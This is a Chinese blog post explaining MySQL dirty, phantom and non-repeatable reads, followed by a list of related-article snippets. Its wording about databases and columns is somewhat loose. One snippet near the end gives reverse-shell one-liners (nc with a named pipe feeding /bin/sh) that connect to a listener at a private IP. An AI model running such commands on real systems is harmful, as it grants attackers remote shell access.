【MySQL】脏读,幻读,不可重复读

脏读、幻读、不可重复读

一、脏读

二、幻读

三、不可重复读

四、脏读、幻读、不可重复读的区别


一、脏读

脏读主要发生在隔离级别很低的事务之间,就比如隔离级别设为Read Uncommitted,也就是读为提交。当我们有多个数据库并发的访问一张表的时候,就会发生脏读。

那么到底什么是脏读?

脏读就是假如,我有两个数据库并发的访问一张表,我的隔离级别是读未提交的,也就是Read Uncommitted,这种隔离级别下,我只要发生数据的更新,另一个并发访问的数据库也就会立马看到结果,这样会发生脏读的情况。就比如,有个学生要转专业,那么我的一个数据库就对这个表的该学生的专业信息进行修改,然后并发访问的另一个数据库就去读数据,发现这个学生的专业已经被修改好了,它就可能下线了,但是由于种种原因,第一个数据库在运行的过程中崩溃了,事务还没有提交,这时候就会发生回滚,该学生的专业的数据又回滚成原专业,但是另一个数据库不知道我发生回滚了,它就认为,这个学生的专业信息已经更改成功了!这样子就产生了脏读的情况,这种影响是十分可怕的!

二、幻读

幻读是也是发生在并发访问同一张表的时候,我第一次查表中的数据,比如我要查公司员工年龄小于30岁的员工有哪些,这时候我的第一个数据库就去查,然后第一次查完之后,并发访问的那个数据库的管理者接到人事通知,有个应届生入职我们公司了,录入一下他的个人信息,然后我就录入了这个员工的个人信息,而这时候,我的第一个数据库觉得,要多查几次,保证我有没有漏掉哪些信息,然后我就去查,发现!怎么又多了一行,我是不是产生幻觉了,刚刚好像没有这一行。

这就是幻读带来的影响,会使得数据库的使用者对数据失去信任感,也造成数据不一致的问题出现。

三、不可重复读

不可重复读通常发生在读提交的隔离级别之下,也就是Read Committed,也就是别人提交了事务,我这边才能看到结果,

就比如:我要查一个员工薪资情况,两个数据库并发访问,第一个数据库对表的数据查询,在第二次查询之前,我的第二个数据库对这名员工的薪资上调,然后提交了事务,第一个数据库现在对表进行第二次查询,发现这个员工的薪资和第一个查到的结果不一样,这就是不可重复读。


四、脏读、幻读、不可重复读的区别

首先这三者都是由于并发访问引起的问题,但是

  • 脏读是发生在两个事务之间,由一个事务更改,另一个事务读取,前一个事务发生回滚操作,后一个事务读到的结果不一致的问题
  • 幻读是发生在同一个事务内部,通常发生在两次查询操作的中间,另一个数据库对表进行了删除列,插入新的元素,增加列,导致第二次查询的时候,发现和第一次查询结果少了或者多了某些列或者行,就好像产生了幻觉一样。
  • 不可重复读也是发生在同一个事务内部,也是发生在二次查询的中间对表进行了操作,他和幻读不一样的点在于,幻读是查的时候多了或者少了某些列,它是发现表中的某些数据和前一次查询的结果不一样的问题。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/826808.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

在 Apache Sedona 中处理空间栅格数据

栅格数据是一种从远处表示地球表面和大气的地理空间数据,通常使用卫星或航空传感器。它是一种基于网格的数据结构,其中网格中的每个单元或像素代表地球表面的特定位置。这些像素可以存储各种类型的信息,例如海拔、温度、土地覆盖、降水量或与该位置相关的任何其他连续或分类…

【AI开发:音频】二、GPT-SoVITS使用方法和过程中出现的问题(GPU版)

1.FileNotFoundError: [Errno 2] No such file or directory: logs/guanshenxxx/2-name2text-0.txt 这个问题中包含了两个: 第一个:No module named pyopenjtalk 我的电脑出现的就是这个 解决:pip install pyopenjtalk 第二个&#xff1a…

快速排序题目SelectK问题(力扣75.颜色分类、力扣215.数组中的第K个最大元素、面试题17.14最小K个数)

力扣75.颜色分类 给定一个包含红色、白色和蓝色、共 n 个元素的数组 nums ,原地对它们进行排序,使得相同颜色的元素相邻,并按照红色、白色、蓝色顺序排列。 我们使用整数 0、 1 和 2 分别表示红色、白色和蓝色。 必须在不使用库内置的 sor…

安卓手机APP开发__媒体开发部分__网络栈

安卓手机APP开发__媒体开发部分__网络栈 目录 概述 配置ExoPlayer来使用一个特定的网络栈 支持的网络栈 Cronet OkHttp 安卓内嵌的网络栈 其它的网络栈

常用渗透测试checklist

该渗透测试checklist包含以下几个模块: 测试大类、测试项、威胁等级、漏洞描述、修复方案 一、认证与授权类 1.密码明文传输 威胁等级:低危 漏洞描述:密码明文传输一般存在于web网站登录页面,用户名或者密码采用了明文传输&am…

从零开始的vscode配置及安装rust教程

配置vscode的rust环境 下载安装vscodemac 环境1. 下载安装rust2. 配置 mac vscode环境3. 创建一个测试项目 windows 环境1. 安装c运行环境2. 安装配置rustup3. 配置windows vscode环境4. 创建一个测试项目 下载安装vscode 1.官网应用程序下载 vscode:https://code.v…

注意力机制中多层的作用

1.多层的作用 在注意力机制中,多层的作用通常指的是将注意力机制堆叠在多个层上,这在深度学习模型中被称为“深度”或“多层”注意力网络。这种多层结构的作用和实现过程如下: 1. **逐层抽象**:每一层都可以捕捉到输入数据的不同…

4.21算法

目录 leetcode49:字母异位词分组 题目 示例 解题思路 代码实现 leetcode349:两个数组的交集 题目 示例 解题思路 代码实现 leetcode49:字母异位词分组 题目 给你一个字符串数组,请你将 字母异位词 组合在一起。可以按任意顺序返回结果列表。 字母异位词…

在ubuntu20.04下迁移anaconda的目录,试验不行后,换成软连接

一、原因 随着不断的搭建不同的算法环境,原本在固态硬盘上安装的anaconda上占用空间越来越多。导致可用的固态硬盘空间越来越少,又因安装的环境太多,重新搭建比较费时费力。有没有直接将当前已经搭建好环境的anaconda 迁移到另外的目录呢&…

SAP 销售业务中免费货物的会计核算

此博文主要介绍SAP销售业务中免费货物解决方案中,免费货物的会计核算。如果需要进一步了解SAP SD 销售与分销业务中,免费货物的标准解决方案概览,可先了解本博客博文:SAP销售与分销中的免费货物解决方案相关文章: htt…

Python 全栈安全(一)

原文:annas-archive.org/md5/712ab41a4ed6036d0e8214d788514d6b 译者:飞龙 协议:CC BY-NC-SA 4.0 前言 序言 多年前,我在亚马逊搜索了一本基于 Python 的应用程序安全书。我以为会有多本书可供选择。已经有了很多其他主题的 Pyt…

5、分代模型中的年轻代、老年代和永久代

5.1、背景引入 从今天开始,我们将重点关注JVM内存划分的一些细节。这将帮助大家更深入地理解JVM内存划分的原理,以及我们在代码中创建的对象是如何在JVM中分配和流动的。这对于大家深入理解JVM原理将大有裨益。 首先,让我们介绍一下JVM内存的一个分代模型:年轻代、老年代…

开发语言漫谈-SQL

SQL是另一个门类的开发语言,是专用于结构化数据库操作的专用语言。SQL不可能单独开发系统,但是做数据库方面的系统不懂SQL也不行。市面上很大部分开发岗位(后台)都是要和数据库打交道的,所以SQL必须掌握。 好消息是&am…

【设计模式】单例模式|最常用的设计模式

写在前面 单例模式是最常用的设计模式之一,虽然简单,但是还是有一些小坑点需要注意。本文介绍单例模式并使用go语言实现一遍单例模式。 单例模式介绍 简介 单例模式保证一个类仅有一个实例,并提供一个访问它的全局访问点。 使用场景&#…

DC学习笔记

视频 数字逻辑综合工具实践 DC 01_哔哩哔哩_bilibili 一、DC工作模式(此小节为搬运内容) 原链接:Design_Compiler User Guide 随手笔记(9)Using Floorplan Information - 知乎 DC拥有四种工作模式: 工…

项目7-音乐播放器6+评论区

1.准备前端界面 前端小白:怎么为你的网页增加评论功能?(一)_为网页添加评论区怎么弄-CSDN博客 参考的上述文章的前端代码 我们从上述前端图片知道,我们数据库需要准备的字段: id,commentuserName,coomen…

深入理解Java中的ConcurrentHashMap:原理与实践

文章目录 1. ConcurrentHashMap简介2. 分段锁原理3. CAS操作原理4. 扩容机制原理5. 近似计数原理6. 并发操作方法7. 遍历ConcurrentHashMap8. 扩展方法介绍9. 并发性能分析10. 局限性与适用场景11. 总结 本文详细解析了Java中线程安全的HashMap实现——ConcurrentHashMap的工作…

字节FE:JavaScript学习路线图

JavaScript简介 JavaScript是一种高级的、解释执行的编程语言。它是互联网的三大核心技术之一,与HTML和CSS一同工作,用于创建交互式的网页。JavaScript被所有现代网页浏览器支持而不需要任何插件。它可以增强用户界面和网页的交互性,可以进行…

kali /mac 成功的反弹shell语句

mac &#xff1a;192.168.19.107 kali:192.168.19.111 kali 监听mac : nc -lvvp 6666 mac执行&#xff1a; 1: mknod backpipe p && nc 192.168.19.111 6666 0<backpipe | /bin/bash 1>backpipe 2: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&…

Jupyter的下载与安装

1.下载&#xff1a; 在anaconda的指定环境中 conda install nb_conda_kernels 2.打开 在anaconda指定环境中使用命令&#xff1a; jupyter notebook 3.输入指令后&#xff0c;会显示如下&#xff0c;根据显示地址打开 3. 在右边的new按钮处&#xff0c;选择相应环境&…